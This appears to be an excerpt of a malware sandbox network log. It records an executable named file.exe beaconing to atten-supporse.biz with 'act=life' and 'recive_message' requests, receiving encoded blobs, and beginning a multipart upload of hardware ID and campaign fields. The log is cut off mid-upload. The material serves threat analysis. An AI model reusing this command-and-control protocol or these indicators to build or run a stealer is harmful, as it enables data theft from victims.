Dec 10, 2024 06:38:25.400341988 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 06:38:25.400352001 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 06:38:25.401041031 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 06:38:25.401068926 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 06:38:25.518151045 CET	1236	IN	Data Raw: a6 5f a7 88 b2 1d 65 bb 8d fd aa 82 6d 30 73 5f c4 cd 48 53 d1 3c 8f 84 44 32 30 50 7e 02 dc 19 73 4b 52 56 51 2b 6f 3a 8a 21 28 64 9a 38 6f 69 d1 4d 5e 52 df a4 63 bd 97 3d 44 d7 d5 1f de be c7 4e 7b a6 8c 3d 47 37 35 2a 95 d6 d5 1f de 2c c6 52 Data Ascii: _em0s_HS<D20P~sKRVQ+o:!(d8oiM^Rc=DN{=G75*,R{=aYNZ'xV%=Npg'-S+\|]Vh+8cv:s}W;UN8LmxYSSx!TW-GdN^\p@IWbjXZY{GA~6Jb+vb!oa

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49707	104.21.112.1	443	6228	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 05:38:02 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: atten-supporse.biz
2024-12-10 05:38:02 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-10 05:38:03 UTC	1013	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 05:38:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jknveqat3cubdccor4ojhls0ac; expires=Fri, 04-Apr-2025 23:24:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HxeY2rIWczBiXhBUq05ULut31F2XzCglCiKvwKPh9uw6Di%2BIdaBX9FUGb9alIzkaV2oj1aaqRLpsvDLTC20KIKgsvuzY0gTr3kAURaHA9msD5ngKb%2FAvHBz1trJWXWiTwr81zW0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efae2f16ac841e7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1568&min_rtt=1552&rtt_var=615&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=909&delivery_rate=1732937&cwnd=202&unsent_bytes=0&cid=780354432bf950e8&ts=747&x=0"
2024-12-10 05:38:03 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-10 05:38:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49709	104.21.112.1	443	6228	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 05:38:04 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: atten-supporse.biz
2024-12-10 05:38:04 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-10 05:38:06 UTC	1012	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 05:38:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=g6l1crb9t0mqjj8poodsm1k2bu; expires=Fri, 04-Apr-2025 23:24:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WsVNG8Pnz7TVKl080Fdv6RLyyM9mpkcuDHy5XA%2B5Rm8f5jf1Cf1RiKfQjkT1sWAlis4F6qu4bYCzAPQXeRoCpz99ZdKXF3UXchqtCJ0ytNjqjP7AV3EDUO8sg5b5zfWI5HVM5jw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efae2fe7c418cd6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1969&min_rtt=1966&rtt_var=744&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=955&delivery_rate=1465127&cwnd=165&unsent_bytes=0&cid=77a1b1c17a008a8a&ts=1123&x=0"
2024-12-10 05:38:06 UTC	357	IN	Data Raw: 34 64 38 0d 0a 61 33 71 4b 69 71 4c 56 4e 78 41 35 49 52 45 4f 4f 79 72 72 4c 77 67 45 4e 74 64 61 6e 59 46 61 63 48 6a 64 66 35 77 31 46 6b 34 51 57 50 79 6f 6d 4f 45 62 4d 6b 70 45 4d 7a 52 50 57 4a 35 4b 4a 43 5a 58 73 33 69 6e 35 7a 73 63 43 37 68 54 76 6b 4e 37 62 46 45 63 36 2b 62 52 73 42 73 79 58 46 6b 7a 4e 47 42 52 79 55 70 6d 4a 67 7a 31 50 2f 66 6a 4f 78 77 61 76 42 54 7a 52 58 6f 74 41 78 62 74 34 73 65 32 55 33 46 56 54 48 52 72 58 6b 75 42 51 57 46 70 58 72 70 34 73 61 4d 2f 43 6c 72 6e 58 64 46 51 59 69 38 6d 47 2f 6e 68 67 4b 67 62 61 78 74 45 66 79 77 42 43 49 70 4b 61 6d 68 51 73 7a 48 31 36 54 49 55 47 37 6b 56 37 46 78 77 4a 67 4d 59 37 75 50 4e 76 30 64 38 58 30 74 2f 62 56 52 4c 79 51 4d 71 59 55 7a 31 59 4c 2b 77 43 68 45 4c 72 67 Data Ascii: 4d8a3qKiqLVNxA5IREOOyrrLwgENtdanYFacHjdf5w1Fk4QWPyomOEbMkpEMzRPWJ5KJCZXs3in5zscC7hTvkN7bFEc6+bRsBsyXFkzNGBRyUpmJgz1P/fjOxwavBTzRXotAxbt4se2U3FVTHRrXkuBQWFpXrp4saM/ClrnXdFQYi8mG/nhgKgbaxtEfywBCIpKamhQszH16TIUG7kV7FxwJgMY7uPNv0d8X0t/bVRLyQMqYUz1YL+wChELrg
2024-12-10 05:38:06 UTC	890	IN	Data Raw: 55 30 68 34 61 55 74 44 67 45 42 6e 5a 6c 6d 2f 4e 2f 7a 6a 50 78 67 51 73 42 66 36 57 6e 6b 71 43 52 69 6f 70 6f 43 77 54 54 49 44 41 31 42 70 53 55 2b 46 57 79 68 63 46 4b 70 32 35 71 4d 2f 48 6c 72 6e 58 66 5a 53 64 79 38 43 46 2b 76 67 79 36 56 56 59 46 31 4f 64 6e 35 66 54 59 64 48 61 58 52 65 75 7a 37 38 36 6a 4d 62 48 37 67 5a 76 68 6b 30 4b 78 46 59 73 4b 6a 68 75 6c 35 2b 55 56 52 7a 4c 45 59 47 6b 41 31 74 61 68 54 74 65 50 76 69 50 42 4d 65 73 52 50 36 57 33 49 69 42 42 66 75 34 73 43 77 58 33 70 54 51 6e 35 6e 56 6b 69 4d 51 47 35 67 57 4c 51 39 76 36 31 34 46 51 4c 2f 52 62 35 35 63 79 38 62 57 74 33 72 7a 72 6c 53 5a 42 74 63 50 58 55 5a 54 34 55 4e 4d 69 5a 61 73 44 66 74 34 69 6f 58 46 4b 30 52 2b 31 46 35 4c 77 63 59 37 65 2f 4e 75 56 4e Data Ascii: U0h4aUtDgEBnZlm/N/zjPxgQsBf6WnkqCRiopoCwTTIDA1BpSU+FWyhcFKp25qM/HlrnXfZSdy8CF+vgy6VVYF1Odn5fTYdHaXReuz786jMbH7gZvhk0KxFYsKjhul5+UVRzLEYGkA1tahTtePviPBMesRP6W3IiBBfu4sCwX3pTQn5nVkiMQG5gWLQ9v614FQL/Rb55cy8bWt3rzrlSZBtcPXUZT4UNMiZasDft4ioXFK0R+1F5LwcY7e/NuVN
2024-12-10 05:38:06 UTC	1369	IN	Data Raw: 34 34 34 34 0d 0a 36 65 76 41 76 56 74 39 55 55 74 37 62 46 52 4a 67 6b 56 73 61 31 2b 36 4e 2f 6a 72 4f 78 34 66 73 68 36 2b 47 54 51 72 45 56 69 77 71 4f 57 35 56 6d 4e 4b 41 55 5a 76 56 30 61 4f 57 79 70 35 47 71 78 34 2b 4f 39 34 53 6c 71 31 47 76 6c 54 65 53 59 4b 48 4f 7a 6c 7a 37 35 63 65 30 6c 4a 66 32 4a 4c 52 59 4e 49 5a 47 70 52 75 6a 6a 2b 34 6a 59 59 45 66 39 54 76 6c 42 73 62 46 46 59 78 2b 58 51 70 56 39 35 53 67 46 47 62 31 64 47 6a 6c 73 71 65 52 71 73 65 50 6a 76 65 45 70 61 74 42 76 79 57 33 51 71 47 78 62 6e 2b 73 71 6c 55 58 78 66 54 33 31 6c 56 45 65 4d 58 32 35 6d 52 72 51 39 2b 4f 30 31 41 42 2f 2f 55 37 35 51 62 47 78 52 57 4e 4c 63 78 36 64 45 64 52 6c 32 63 47 4a 58 54 35 38 4e 64 53 68 4e 39 54 2f 7a 6f 32 42 53 47 62 4d 51 39 Data Ascii: 44446evAvVt9UUt7bFRJgkVsa1+6N/jrOx4fsh6+GTQrEViwqOW5VmNKAUZvV0aOWyp5Gqx4+O94Slq1GvlTeSYKHOzlz75ce0lJf2JLRYNIZGpRujj+4jYYEf9TvlBsbFFYx+XQpV95SgFGb1dGjlsqeRqsePjveEpatBvyW3QqGxbn+sqlUXxfT31lVEeMX25mRrQ9+O01AB//U75QbGxRWNLcx6dEdRl2cGJXT58NdShN9T/zo2BSGbMQ9
2024-12-10 05:38:06 UTC	1369	IN	Data Raw: 46 57 4c 43 6f 79 71 56 51 66 46 39 4a 64 6d 68 56 51 6f 6c 49 65 47 35 53 73 6a 54 33 35 6a 63 55 48 37 49 61 39 56 52 6d 50 67 6f 63 35 75 53 41 2b 52 56 31 51 77 4d 72 4c 48 78 66 69 6c 31 73 5a 52 53 71 64 75 61 6a 50 78 35 61 35 31 33 2b 57 58 67 6e 44 68 50 6a 37 4d 53 33 57 48 6c 56 54 58 70 67 55 55 53 4f 58 32 64 6a 58 4c 38 78 2b 75 38 31 45 51 69 38 48 4c 34 5a 4e 43 73 52 57 4c 43 6f 35 34 52 69 55 52 74 63 50 58 55 5a 54 34 55 4e 4d 69 5a 56 76 54 2f 78 35 79 6f 63 43 4c 45 61 2f 6c 46 38 4a 41 34 55 35 75 62 53 76 31 52 79 56 55 78 37 5a 56 31 4a 6a 55 6c 6d 59 52 54 37 65 50 6a 37 65 45 70 61 6c 78 37 6b 54 54 59 43 41 68 6a 76 2b 4e 61 73 46 57 30 56 57 6a 4e 72 56 51 6a 52 44 57 35 74 58 72 77 37 39 75 63 31 45 68 4f 77 46 50 5a 61 66 44 Data Ascii: FWLCoyqVQfF9JdmhVQolIeG5SsjT35jcUH7Ia9VRmPgoc5uSA+RV1QwMrLHxfil1sZRSqduajPx5a513+WXgnDhPj7MS3WHlVTXpgUUSOX2djXL8x+u81EQi8HL4ZNCsRWLCo54RiURtcPXUZT4UNMiZVvT/x5yocCLEa/lF8JA4U5ubSv1RyVUx7ZV1JjUlmYRT7ePj7eEpalx7kTTYCAhjv+NasFW0VWjNrVQjRDW5tXrw79uc1EhOwFPZafD
2024-12-10 05:38:06 UTC	1369	IN	Data Raw: 37 64 4b 77 57 58 68 55 51 48 74 68 57 6b 43 62 54 57 64 6d 52 71 63 2b 39 4f 31 34 58 46 71 34 42 62 34 50 4e 42 30 65 45 36 6a 33 6a 71 34 56 64 56 63 44 4b 79 78 61 51 6f 52 44 65 47 4a 53 76 6a 76 78 36 7a 30 61 48 72 55 51 38 56 78 2b 4a 51 45 59 35 2b 33 49 76 46 4e 38 57 6b 56 2f 59 52 6b 47 79 55 70 79 4a 67 7a 31 48 2b 58 75 50 67 55 4c 69 68 72 2b 42 6a 51 7a 52 77 47 6f 37 38 7a 33 44 54 4a 57 54 33 6c 68 58 45 79 42 53 6d 6c 6e 57 4c 45 31 38 75 63 78 46 68 2b 74 44 2f 68 5a 64 43 4d 48 46 2b 54 36 7a 72 4a 56 66 68 73 4e 4d 32 74 42 43 4e 45 4e 57 33 46 55 39 53 65 78 2b 6e 67 56 46 76 39 46 76 6c 68 35 50 67 55 58 36 4f 6e 44 73 31 35 31 58 55 56 79 62 31 78 4c 6a 45 74 72 5a 6c 69 2f 50 2f 66 70 4e 68 38 63 75 78 76 34 46 7a 70 73 44 67 43 Data Ascii: 7dKwWXhUQHthWkCbTWdmRqc+9O14XFq4Bb4PNB0eE6j3jq4VdVcDKyxaQoRDeGJSvjvx6z0aHrUQ8Vx+JQEY5+3IvFN8WkV/YRkGyUpyJgz1H+XuPgULihr+BjQzRwGo78z3DTJWT3lhXEyBSmlnWLE18ucxFh+tD/hZdCMHF+T6zrJVfhsNM2tBCNENW3FU9Sex+ngVFv9Fvlh5PgUX6OnDs151XUVyb1xLjEtrZli/P/fpNh8cuxv4FzpsDgC
2024-12-10 05:38:06 UTC	1369	IN	Data Raw: 6c 46 38 58 30 52 7a 59 46 5a 50 67 55 4a 75 5a 6c 76 31 64 72 2f 6b 49 46 4a 43 2f 7a 33 31 51 56 55 69 41 67 71 6f 39 34 36 75 46 58 56 58 41 79 73 73 56 30 47 49 52 57 52 71 58 4c 45 71 2f 2b 67 78 48 52 75 77 48 66 31 57 66 69 51 62 48 75 6a 6a 79 4c 42 64 64 6c 56 52 63 6d 4d 5a 42 73 6c 4b 63 69 59 4d 39 51 6e 70 35 44 38 64 57 4a 59 61 35 56 5a 2b 4c 77 49 55 71 50 65 4f 72 68 56 31 56 77 4d 72 4c 46 52 45 68 45 6c 34 61 6c 53 31 4d 66 6a 70 4b 68 30 56 73 68 37 2b 55 6d 59 74 47 78 66 6a 37 63 4f 7a 57 6e 31 58 53 33 6b 73 46 77 69 4f 56 53 6f 2b 46 4a 6b 37 37 75 6c 36 4e 51 43 70 47 76 4a 47 66 79 45 46 57 50 65 6d 32 66 64 53 66 68 73 62 4d 32 78 59 52 5a 74 49 61 32 78 65 75 44 44 77 35 6a 30 64 48 72 73 57 38 45 56 36 49 77 6b 65 34 2b 6e 46 Data Ascii: lF8X0RzYFZPgUJuZlv1dr/kIFJC/z31QVUiAgqo946uFXVXAyssV0GIRWRqXLEq/+gxHRuwHf1WfiQbHujjyLBddlVRcmMZBslKciYM9Qnp5D8dWJYa5VZ+LwIUqPeOrhV1VwMrLFREhEl4alS1MfjpKh0Vsh7+UmYtGxfj7cOzWn1XS3ksFwiOVSo+FJk77ul6NQCpGvJGfyEFWPem2fdSfhsbM2xYRZtIa2xeuDDw5j0dHrsW8EV6Iwke4+nF
2024-12-10 05:38:06 UTC	1369	IN	Data Raw: 52 4e 66 6d 64 64 51 59 78 46 61 57 4e 52 76 7a 54 7a 34 6a 41 62 45 4c 6f 59 2b 46 31 33 49 67 59 5a 35 4f 7a 4a 75 56 77 79 46 51 4e 30 64 42 6b 51 79 58 74 36 59 55 79 34 4b 4c 33 52 4f 77 4d 4c 71 68 44 75 55 54 59 44 43 68 54 72 37 63 65 6e 46 57 30 56 57 6a 4e 72 56 51 6a 52 44 57 70 69 57 4c 59 2f 38 65 77 31 48 52 32 30 45 76 52 5a 5a 69 4d 4d 45 4f 54 67 7a 61 56 66 65 45 6c 4b 65 6d 46 58 51 4a 74 4f 4b 69 67 55 73 69 43 2f 75 33 67 67 45 4c 77 52 36 46 70 37 62 42 5a 57 38 61 6a 48 75 78 55 71 47 31 46 68 62 46 4a 49 6a 6b 4e 34 5a 31 79 36 4d 76 2f 6c 4d 78 67 5a 74 68 6e 77 58 6e 49 74 42 42 6e 70 36 4d 57 33 58 47 42 57 41 7a 30 73 58 6c 44 4a 46 53 70 52 57 4c 34 4a 2f 50 56 34 44 56 53 6d 58 66 6c 62 4e 48 52 4a 47 66 72 6c 79 4c 4e 56 66 Data Ascii: RNfmddQYxFaWNRvzTz4jAbELoY+F13IgYZ5OzJuVwyFQN0dBkQyXt6YUy4KL3ROwMLqhDuUTYDChTr7cenFW0VWjNrVQjRDWpiWLY/8ew1HR20EvRZZiMMEOTgzaVfeElKemFXQJtOKigUsiC/u3ggELwR6Fp7bBZW8ajHuxUqG1FhbFJIjkN4Z1y6Mv/lMxgZthnwXnItBBnp6MW3XGBWAz0sXlDJFSpRWL4J/PV4DVSmXflbNHRJGfrlyLNVf
2024-12-10 05:38:06 UTC	1369	IN	Data Raw: 73 41 52 72 48 44 58 67 6d 44 50 56 2f 2f 50 45 71 46 42 6d 70 48 72 6c 70 53 67 77 43 44 75 6e 6c 79 37 74 72 54 45 35 41 66 57 4a 65 58 70 67 4e 4a 43 5a 62 39 57 44 47 6f 33 42 53 4a 66 46 64 35 68 63 73 62 44 77 62 35 75 62 48 6f 55 51 2f 65 30 68 6c 62 56 52 44 68 51 39 72 61 30 53 79 65 4c 47 6a 50 6c 4a 43 37 31 4f 2b 55 32 56 73 55 55 69 36 73 35 58 6b 41 69 49 4a 58 44 31 31 47 56 37 4a 46 54 67 6f 46 4b 64 34 70 36 4e 2f 45 51 69 74 47 2f 31 42 64 32 73 33 4a 73 6a 6a 7a 4c 52 5a 63 31 77 44 50 53 78 57 43 4e 46 30 4b 6d 56 47 70 33 66 75 39 54 55 43 48 66 4d 56 37 31 70 34 62 45 64 59 70 4f 7a 4c 75 31 42 31 53 77 78 68 66 46 4a 45 6e 77 46 75 64 42 54 37 65 4f 37 6f 4e 77 41 55 75 46 4c 76 51 58 6b 38 43 68 33 76 70 4d 69 6d 57 48 34 62 44 54 Data Ascii: sARrHDXgmDPV//PEqFBmpHrlpSgwCDunly7trTE5AfWJeXpgNJCZb9WDGo3BSJfFd5hcsbDwb5ubHoUQ/e0hlbVRDhQ9ra0SyeLGjPlJC71O+U2VsUUi6s5XkAiIJXD11GV7JFTgoFKd4p6N/EQitG/1Bd2s3JsjjzLRZc1wDPSxWCNF0KmVGp3fu9TUCHfMV71p4bEdYpOzLu1B1SwxhfFJEnwFudBT7eO7oNwAUuFLvQXk8Ch3vpMimWH4bDT
2024-12-10 05:38:06 UTC	1369	IN	Data Raw: 73 41 31 37 62 46 50 35 63 4c 50 79 4b 78 77 52 71 52 71 2b 61 44 70 73 45 56 69 77 71 50 57 30 57 33 78 63 56 57 49 68 66 30 75 4f 53 32 6c 6f 51 36 52 34 73 61 4d 2b 55 6b 4c 74 55 37 35 54 5a 57 78 52 53 4c 71 7a 6c 65 51 43 49 67 6c 63 50 58 55 5a 58 73 6b 56 4f 53 67 55 70 33 69 6e 6f 33 38 63 46 37 34 65 38 46 52 6d 50 67 38 62 2f 75 75 48 69 57 74 58 56 6b 35 32 59 6c 35 32 74 32 78 67 64 6c 6d 36 50 38 48 64 44 77 4d 64 72 31 2f 59 56 47 49 76 53 56 61 6f 38 49 44 76 46 56 4e 52 55 33 35 6a 58 67 6a 48 44 57 34 6d 44 50 55 64 38 75 34 39 48 42 33 39 50 50 52 48 65 53 4d 4f 57 4b 61 6f 7a 50 63 4e 4d 6c 70 4a 59 32 46 57 54 38 56 4b 63 47 45 55 2b 33 6a 78 6f 32 42 53 47 37 55 4e 38 31 68 7a 59 41 38 57 35 71 6a 66 2b 55 77 79 54 51 4d 72 50 78 63 Data Ascii: sA17bFP5cLPyKxwRqRq+aDpsEViwqPW0W3xcVWIhf0uOS2loQ6R4saM+UkLtU75TZWxRSLqzleQCIglcPXUZXskVOSgUp3ino38cF74e8FRmPg8b/uuHiWtXVk52Yl52t2xgdlm6P8HdDwMdr1/YVGIvSVao8IDvFVNRU35jXgjHDW4mDPUd8u49HB39PPRHeSMOWKaozPcNMlpJY2FWT8VKcGEU+3jxo2BSG7UN81hzYA8W5qjf+UwyTQMrPxc

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49708	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-10 05:38:05 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 39 7a 69 44 47 71 4a 44 56 55 61 6e 70 47 41 55 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 39 64 36 66 66 66 30 66 32 66 31 66 38 66 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 9ziDGqJDVUanpGAU.1Context: 39d6fff0f2f1f8ff
2024-12-10 05:38:05 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-10 05:38:05 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 39 7a 69 44 47 71 4a 44 56 55 61 6e 70 47 41 55 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 39 64 36 66 66 66 30 66 32 66 31 66 38 66 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 34 67 4a 59 77 59 34 45 59 34 31 54 63 37 6f 44 46 66 66 66 6b 58 6f 59 50 44 35 66 7a 77 75 2f 44 44 66 79 32 62 32 71 66 45 32 41 2b 42 54 32 6a 73 4c 62 31 50 4a 78 6b 71 43 6f 68 50 69 6b 65 6f 43 6b 70 69 61 42 50 72 6d 67 79 62 76 56 32 34 34 71 79 58 78 4d 38 65 6e 39 5a 33 46 58 6a 58 63 72 43 6f 76 4a 72 67 51 34 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 9ziDGqJDVUanpGAU.2Context: 39d6fff0f2f1f8ff<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAT4gJYwY4EY41Tc7oDFfffkXoYPD5fzwu/DDfy2b2qfE2A+BT2jsLb1PJxkqCohPikeoCkpiaBPrmgybvV244qyXxM8en9Z3FXjXcrCovJrgQ4
2024-12-10 05:38:05 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 39 7a 69 44 47 71 4a 44 56 55 61 6e 70 47 41 55 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 39 64 36 66 66 66 30 66 32 66 31 66 38 66 66 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 9ziDGqJDVUanpGAU.3Context: 39d6fff0f2f1f8ff<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-10 05:38:06 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-10 05:38:06 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 6b 68 63 71 61 32 50 4a 79 55 53 55 46 58 63 72 44 58 76 4d 78 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: khcqa2PJyUSUFXcrDXvMxg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49710	104.21.112.1	443	6228	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 05:38:07 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LTGLW19FPXOGO35R User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12853 Host: atten-supporse.biz
2024-12-10 05:38:07 UTC	12853	OUT	Data Raw: 2d 2d 4c 54 47 4c 57 31 39 46 50 58 4f 47 4f 33 35 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 31 34 34 32 30 44 41 46 34 35 34 44 36 38 44 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 4c 54 47 4c 57 31 39 46 50 58 4f 47 4f 33 35 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4c 54 47 4c 57 31 39 46 50 58 4f 47 4f 33 35 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --LTGLW19FPXOGO35RContent-Disposition: form-data; name="hwid"014420DAF454D68D23D904AF30EFEBBC--LTGLW19FPXOGO35RContent-Disposition: form-data; 